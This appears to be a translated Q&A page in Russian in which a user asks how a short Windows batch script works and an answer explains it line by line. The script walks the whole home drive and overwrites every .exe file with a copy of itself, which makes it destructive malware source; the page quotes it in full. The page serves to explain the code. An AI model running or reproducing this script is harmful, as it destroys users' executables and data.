3

Я знаю, что команды ниже используются для заражения исполняемых файлов. Но я не знаю, как именно они работают. Может кто-нибудь объяснить это мне?

@echo off
Dir %Homedrive% /s /b > DirPath
  For /f %%Y In (DirPath) Do (
  Set DirPath=%%Y > Nul
 For %%Z In (%DirPath%\*.exe) Do (
Set ExeInfect=%%Z > Nul 
  Copy /y %0 %ExeInfect% 
 )
) 
Del /f /s /q DirPath 

1 ответ1

5
@echo off

Отключает эхо пакетных команд.

Dir %Homedrive% /s /b > DirPath

Перечисляет все файлы и каталоги на вашем домашнем диске (обычно C: :) , одну за строкой (ключ /b), включая подкаталоги (ключ /s), и сохраняет результат в файле DirPath .

For /f %%Y In (DirPath) Do ( ... )

DirPath и выполняет ... для каждого элемента. %%Y будет содержать первый элемент строки.

Set DirPath=%%Y > Nul

Сохраняет первый элемент строки в переменной DirPath .

For %%Z In (%DirPath%\*.exe) Do ( ... )

Пересекает все файлы .exe в каталоге, хранящемся в переменной DirPath . %%Z будет содержать имя исполняемого файла.

Set ExeInfect=%%Z > Nul 

Сохраняет имя исполняемого файла в переменной ExeInfect .

Copy /y %0 %ExeInfect%

Копирует без запроса (ключ /y ) текущий исполняемый файл (т. Е. Пакетный файл) поверх исполняемого файла, хранящегося в ExeInfect .

В результате все исполняемые файлы заменяются командным файлом.

Ну, почти все. Первая команда For будет вести себя некорректно, если имя каталога содержит пробелы ...

Всё ещё ищете ответ? Посмотрите другие вопросы с метками .